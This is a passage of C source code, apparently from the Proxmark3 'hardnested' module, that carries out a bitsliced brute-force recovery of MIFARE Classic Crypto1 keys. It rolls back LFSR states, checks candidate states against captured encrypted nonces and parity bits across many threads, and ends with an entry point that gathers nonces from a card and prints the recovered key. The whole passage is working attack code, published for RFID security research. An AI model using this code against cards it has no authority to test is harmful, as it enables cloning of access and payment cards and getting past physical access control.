1405 bitslice_t * restrict lstate_p = __mingw_aligned_malloc((STATE_SIZE+ROLLBACK_SIZE) * bSize, bSize);
1406 #else
1407 bitslice_t * restrict lstate_p = _aligned_malloc((STATE_SIZE+ROLLBACK_SIZE) * bSize, bSize);
1408 #endif
1409 #else
1410 #ifdef __APPLE__
1411 bitslice_t * restrict lstate_p = malloc((STATE_SIZE+ROLLBACK_SIZE) * bSize);
1412 #else
1413 bitslice_t * restrict lstate_p = memalign(bSize, (STATE_SIZE+ROLLBACK_SIZE) * bSize);
1414 #endif
1415 #endif
1416
1417 if ( !lstate_p ) {
1418 __sync_fetch_and_add(&total_states_tested, bucket_states_tested);
1419 return key;
1420 }
1421
1422 memset(lstate_p+1, 0x0, (STATE_SIZE-1)*sizeof(bitslice_t)); // zero even bits
1423
1424 // bitslice even half-states
1425 const size_t max_slices = (even_end-p_even) < MAX_BITSLICES ? even_end-p_even : MAX_BITSLICES;
1426 #ifdef EXACT_COUNT
1427 bucket_size[bitsliced_blocks] = max_slices;
1428 #endif
1429 for(size_t slice_idx = 0; slice_idx < max_slices; ++slice_idx){
1430 uint32_t e = *(p_even+slice_idx);
1431 for(size_t bit_idx = 1; bit_idx < STATE_SIZE; bit_idx+=2, e >>= 1){
1432 // set even bits
1433 if(e&1){
1434 lstate_p[bit_idx].bytes64[slice_idx>>6] |= 1ull << (slice_idx&63);
1435 }
1436 }
1437 }
1438 // compute the rollback bits
1439 for(size_t rollback = 0; rollback < ROLLBACK_SIZE; ++rollback){
1440 // inlined crypto1_bs_lfsr_rollback
1441 const bitslice_value_t feedout = lstate_p[0].value;
1442 ++lstate_p;
1443 const bitslice_value_t ks_bits = crypto1_bs_f20(lstate_p);
1444 const bitslice_value_t feedback = (feedout ^ ks_bits ^ lstate_p[47- 5].value ^ lstate_p[47- 9].value ^
1445 lstate_p[47-10].value ^ lstate_p[47-12].value ^ lstate_p[47-14].value ^
1446 lstate_p[47-15].value ^ lstate_p[47-17].value ^ lstate_p[47-19].value ^
1447 lstate_p[47-24].value ^ lstate_p[47-25].value ^ lstate_p[47-27].value ^
1448 lstate_p[47-29].value ^ lstate_p[47-35].value ^ lstate_p[47-39].value ^
1449 lstate_p[47-41].value ^ lstate_p[47-42].value ^ lstate_p[47-43].value);
1450 lstate_p[47].value = feedback ^ bitsliced_rollback_byte[rollback].value;
1451 }
1452 bitsliced_even_states[bitsliced_blocks++] = lstate_p;
1453 }
1454
1455 // bitslice every odd state to every block of even half-states with half-finished rollback
1456 for(uint32_t const * restrict p_odd = p->states[ODD_STATE]; p_odd < p->states[ODD_STATE]+p->len[ODD_STATE]; ++p_odd){
1457 // early abort
1458 if(keys_found){
1459 goto out;
1460 }
1461
1462 // set the odd bits and compute rollback
1463 uint64_t o = (uint64_t) *p_odd;
1464 lfsr_rollback_byte((struct Crypto1State*) &o, 0, 1);
1465 // pre-compute part of the odd feedback bits (minus rollback)
1466 bool odd_feedback_bit = parity(o&0x9ce5c);
1467
1468 crypto1_bs_rewind_a0();
1469 // set odd bits
1470 for(size_t state_idx = 0; state_idx < STATE_SIZE-ROLLBACK_SIZE; o >>= 1, state_idx+=2){
1471 if(o & 1){
1472 state_p[state_idx] = bs_ones;
1473 } else {
1474 state_p[state_idx] = bs_zeroes;
1475 }
1476 }
1477 const bitslice_value_t odd_feedback = odd_feedback_bit ? bs_ones.value : bs_zeroes.value;
1478
1479 for(size_t block_idx = 0; block_idx < bitsliced_blocks; ++block_idx){
1480 const bitslice_t * const restrict bitsliced_even_state = bitsliced_even_states[block_idx];
1481 size_t state_idx;
1482 // set even bits
1483 for(state_idx = 0; state_idx < STATE_SIZE-ROLLBACK_SIZE; state_idx+=2){
1484 state_p[1+state_idx] = bitsliced_even_state[1+state_idx];
1485 }
1486 // set rollback bits
1487 uint64_t lo = o;
1488 for(; state_idx < STATE_SIZE; lo >>= 1, state_idx+=2){
1489 // set the odd bits and take in the odd rollback bits from the even states
1490 if(lo & 1){
1491 state_p[state_idx].value = ~bitsliced_even_state[state_idx].value;
1492 } else {
1493 state_p[state_idx] = bitsliced_even_state[state_idx];
1494 }
1495
1496 // set the even bits and take in the even rollback bits from the odd states
1497 if((lo >> 32) & 1){
1498 state_p[1+state_idx].value = ~bitsliced_even_state[1+state_idx].value;
1499 } else {
1500 state_p[1+state_idx] = bitsliced_even_state[1+state_idx];
1501 }
1502 }
1503
1504 #ifdef EXACT_COUNT
1505 bucket_states_tested += bucket_size[block_idx];
1506 #endif
1507 // pre-compute first keystream and feedback bit vectors
1508 const bitslice_value_t ksb = crypto1_bs_f20(state_p);
1509 const bitslice_value_t fbb = (odd_feedback ^ state_p[47- 0].value ^ state_p[47- 5].value ^ // take in the even and rollback bits
1510 state_p[47-10].value ^ state_p[47-12].value ^ state_p[47-14].value ^
1511 state_p[47-24].value ^ state_p[47-42].value);
1512
1513 // vector to contain test results (1 = passed, 0 = failed)
1514 bitslice_t results = bs_ones;
1515
1516 for(size_t tests = 0; tests < NONCE_TESTS; ++tests){
1517 size_t parity_bit_idx = 0;
1518 bitslice_value_t fb_bits = fbb;
1519 bitslice_value_t ks_bits = ksb;
1520 state_p = &states[KEYSTREAM_SIZE-1];
1521 bitslice_value_t parity_bit_vector = bs_zeroes.value;
1522
1523 // highest bit is transmitted/received first
1524 for(int32_t ks_idx = KEYSTREAM_SIZE-1; ks_idx >= 0; --ks_idx, --state_p){
1525 // decrypt nonce bits
1526 const bitslice_value_t encrypted_nonce_bit_vector = bitsliced_encrypted_nonces[tests][ks_idx].value;
1527 const bitslice_value_t decrypted_nonce_bit_vector = (encrypted_nonce_bit_vector ^ ks_bits);
1528
1529 // compute real parity bits on the fly
1530 parity_bit_vector ^= decrypted_nonce_bit_vector;
1531
1532 // update state
1533 state_p[0].value = (fb_bits ^ decrypted_nonce_bit_vector);
1534
1535 // compute next keystream bit
1536 ks_bits = crypto1_bs_f20(state_p);
1537
1538 // for each byte:
1539 if((ks_idx&7) == 0){
1540 // get encrypted parity bits
1541 const bitslice_value_t encrypted_parity_bit_vector = bitsliced_encrypted_parity_bits[tests][parity_bit_idx++].value;
1542
1543 // decrypt parity bits
1544 const bitslice_value_t decrypted_parity_bit_vector = (encrypted_parity_bit_vector ^ ks_bits);
1545
1546 // compare actual parity bits with decrypted parity bits and take count in results vector
1547 results.value &= (parity_bit_vector ^ decrypted_parity_bit_vector);
1548
1549 // make sure we still have a match in our set
1550 // if(memcmp(&results, &bs_zeroes, sizeof(bitslice_t)) == 0){
1551
1552 // this is much faster on my gcc, because somehow a memcmp needlessly spills/fills all the xmm registers to/from the stack - ???
1553 // the short-circuiting also helps
1554 if(results.bytes64[0] == 0
1555 #if MAX_BITSLICES > 64
1556 && results.bytes64[1] == 0
1557 #endif
1558 #if MAX_BITSLICES > 128
1559 && results.bytes64[2] == 0
1560 && results.bytes64[3] == 0
1561 #endif
1562 ){
1563 goto stop_tests;
1564 }
1565 // this is about as fast but less portable (requires -std=gnu99)
1566 // asm goto ("ptest %1, %0\n\t"
1567 // "jz %l2" :: "xm" (results.value), "xm" (bs_ones.value) : "cc" : stop_tests);
1568 parity_bit_vector = bs_zeroes.value;
1569 }
1570 // compute next feedback bit vector
1571 fb_bits = (state_p[47- 0].value ^ state_p[47- 5].value ^ state_p[47- 9].value ^
1572 state_p[47-10].value ^ state_p[47-12].value ^ state_p[47-14].value ^
1573 state_p[47-15].value ^ state_p[47-17].value ^ state_p[47-19].value ^
1574 state_p[47-24].value ^ state_p[47-25].value ^ state_p[47-27].value ^
1575 state_p[47-29].value ^ state_p[47-35].value ^ state_p[47-39].value ^
1576 state_p[47-41].value ^ state_p[47-42].value ^ state_p[47-43].value);
1577 }
1578 }
1579 // all nonce tests were successful: we've found the key in this block!
1580 state_t keys[MAX_BITSLICES];
1581 crypto1_bs_convert_states(&states[KEYSTREAM_SIZE], keys);
1582 for(size_t results_idx = 0; results_idx < MAX_BITSLICES; ++results_idx){
1583 if(get_vector_bit(results_idx, results)){
1584 key = keys[results_idx].value;
1585 goto out;
1586 }
1587 }
1588 stop_tests:
1589 // prepare to set new states
1590 crypto1_bs_rewind_a0();
1591 continue;
1592 }
1593 }
1594
1595 out:
1596 for(size_t block_idx = 0; block_idx < bitsliced_blocks; ++block_idx){
1597
1598 #ifdef __WIN32
1599 #ifdef __MINGW32__
1600 __mingw_aligned_free(bitsliced_even_states[block_idx]-ROLLBACK_SIZE);
1601 #else
1602 _aligned_free(bitsliced_even_states[block_idx]-ROLLBACK_SIZE);
1603 #endif
1604 #else
1605 free(bitsliced_even_states[block_idx]-ROLLBACK_SIZE);
1606 #endif
1607
1608 }
1609 __sync_fetch_and_add(&total_states_tested, bucket_states_tested);
1610 return key;
1611 }
1612
1613 static void* crack_states_thread(void* x){
1614 const size_t thread_id = (size_t)x;
1615 size_t current_bucket = thread_id;
1616 while(current_bucket < bucket_count){
1617 statelist_t * bucket = buckets[current_bucket];
1618 if(bucket){
1619 const uint64_t key = crack_states_bitsliced(bucket);
1620 if(key != -1){
1621 __sync_fetch_and_add(&keys_found, 1);
1622 __sync_fetch_and_add(&foundkey, key);
1623 break;
1624 } else if(keys_found){
1625 break;
1626 } else {
1627 printf(".");
1628 fflush(stdout);
1629 }
1630 }
1631 current_bucket += thread_count;
1632 }
1633 return NULL;
1634 }
1635
1636 static bool brute_force(void) {
1637 if (maximum_states == 0) return false; // prevent keyspace reduction error (2^-inf)
1638
1639 bool ret = false;
1640 if (known_target_key != -1) {
1641 PrintAndLog("Looking for known target key in remaining key space...");
1642 ret = TestIfKeyExists(known_target_key);
1643 } else {
1644 PrintAndLog("Brute force phase starting.");
1645
1646 clock_t time1 = clock();
1647 keys_found = 0;
1648 foundkey = 0;
1649
1650 crypto1_bs_init();
1651
1652 PrintAndLog("Using %u-bit bitslices", MAX_BITSLICES);
1653 PrintAndLog("Bitslicing best_first_byte^uid[3] (rollback byte): %02X ...", best_first_bytes[0]^(cuid>>24));
1654 // convert to 32 bit little-endian
1655 crypto1_bs_bitslice_value32((best_first_bytes[0]<<24)^cuid, bitsliced_rollback_byte, 8);
1656
1657 PrintAndLog("Bitslicing nonces...");
1658 for(size_t tests = 0; tests < NONCE_TESTS; tests++){
1659 uint32_t test_nonce = brute_force_nonces[tests]->nonce_enc;
1660 uint8_t test_parity = brute_force_nonces[tests]->par_enc;
1661 // pre-xor the uid into the decrypted nonces, and also pre-xor the cuid parity into the encrypted parity bits - otherwise an exta xor is required in the decryption routine
1662 crypto1_bs_bitslice_value32(cuid^test_nonce, bitsliced_encrypted_nonces[tests], 32);
1663 // convert to 32 bit little-endian
1664 crypto1_bs_bitslice_value32(rev32( ~(test_parity ^ ~(parity(cuid>>24 & 0xff)<<3 | parity(cuid>>16 & 0xff)<<2 | parity(cuid>>8 & 0xff)<<1 | parity(cuid&0xff)))), bitsliced_encrypted_parity_bits[tests], 4);
1665 }
1666 total_states_tested = 0;
1667
1668 // count number of states to go
1669 bucket_count = 0;
1670 for (statelist_t *p = candidates; p != NULL && bucket_count < MAX_BUCKETS; p = p->next) {
1671 buckets[bucket_count] = p;
1672 bucket_count++;
1673 }
1674 buckets[bucket_count] = NULL;
1675
1676 #ifndef __WIN32
1677 thread_count = sysconf(_SC_NPROCESSORS_CONF);
1678 if ( thread_count < 1)
1679 thread_count = 1;
1680 #endif /* _WIN32 */
1681
1682 pthread_t threads[thread_count];
1683
1684 // enumerate states using all hardware threads, each thread handles one bucket
1685 PrintAndLog("Starting %u cracking threads to search %u buckets containing a total of %"PRIu64" states...", thread_count, bucket_count, maximum_states);
1686
1687 for(size_t i = 0; i < thread_count; i++){
1688 pthread_create(&threads[i], NULL, crack_states_thread, (void*) i);
1689 }
1690 for(size_t i = 0; i < thread_count; i++){
1691 pthread_join(threads[i], 0);
1692 }
1693
1694 time1 = clock() - time1;
1695 PrintAndLog("\nTime for bruteforce %0.1f seconds.",((float)time1)/CLOCKS_PER_SEC);
1696
1697 if (keys_found && TestIfKeyExists(foundkey)) {
1698 PrintAndLog("\nFound key: %012"PRIx64"\n", foundkey);
1699 ret = true;
1700 }
1701 // reset this counter for the next call
1702 nonces_to_bruteforce = 0;
1703 }
1704 return ret;
1705 }
1706
1707 int mfnestedhard(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, uint8_t trgKeyType, uint8_t *trgkey, bool nonce_file_read, bool nonce_file_write, bool slow, int tests)
1708 {
1709 // initialize Random number generator
1710 time_t t;
1711 srand((unsigned) time(&t));
1712
1713 if (trgkey != NULL) {
1714 known_target_key = bytes_to_num(trgkey, 6);
1715 } else {
1716 known_target_key = -1;
1717 }
1718
1719 init_partial_statelists();
1720 init_BitFlip_statelist();
1721 write_stats = false;
1722
1723 if (tests) {
1724 // set the correct locale for the stats printing
1725 setlocale(LC_ALL, "");
1726 write_stats = true;
1727 if ((fstats = fopen("hardnested_stats.txt","a")) == NULL) {
1728 PrintAndLog("Could not create/open file hardnested_stats.txt");
1729 return 3;
1730 }
1731 for (uint32_t i = 0; i < tests; i++) {
1732 init_nonce_memory();
1733 simulate_acquire_nonces();
1734 Tests();
1735 printf("Sum(a0) = %d\n", first_byte_Sum);
1736 fprintf(fstats, "%d;", first_byte_Sum);
1737 generate_candidates(first_byte_Sum, nonces[best_first_bytes[0]].Sum8_guess);
1738 brute_force();
1739 free_nonces_memory();
1740 free_statelist_cache();
1741 free_candidates_memory(candidates);
1742 candidates = NULL;
1743 }
1744 fclose(fstats);
1745 fstats = NULL;
1746 } else {
1747 init_nonce_memory();
1748 if (nonce_file_read) { // use pre-acquired data from file nonces.bin
1749 if (read_nonce_file() != 0) {
1750 return 3;
1751 }
1752 Check_for_FilterFlipProperties();
1753 num_good_first_bytes = MIN(estimate_second_byte_sum(), GOOD_BYTES_REQUIRED);
1754 PrintAndLog("Number of first bytes with confidence > %2.1f%%: %d", CONFIDENCE_THRESHOLD*100.0, num_good_first_bytes);
1755
1756 clock_t time1 = clock();
1757 bool cracking = generate_candidates(first_byte_Sum, nonces[best_first_bytes[0]].Sum8_guess);
1758 time1 = clock() - time1;
1759 if (time1 > 0)
1760 PrintAndLog("Time for generating key candidates list: %1.0f seconds", ((float)time1)/CLOCKS_PER_SEC);
1761
1762 if (cracking || known_target_key != -1) {
1763 brute_force();
1764 }
1765
1766 } else { // acquire nonces.
1767 uint16_t is_OK = acquire_nonces(blockNo, keyType, key, trgBlockNo, trgKeyType, nonce_file_write, slow);
1768 if (is_OK != 0) {
1769 return is_OK;
1770 }
1771 }
1772
1773 //Tests();
1774 free_nonces_memory();
1775 free_statelist_cache();
1776 free_candidates_memory(candidates);
1777 candidates = NULL;
1778 }
1779 return 0;
1780 }
Proxmark3 GIT tracking
Impressum, Datenschutz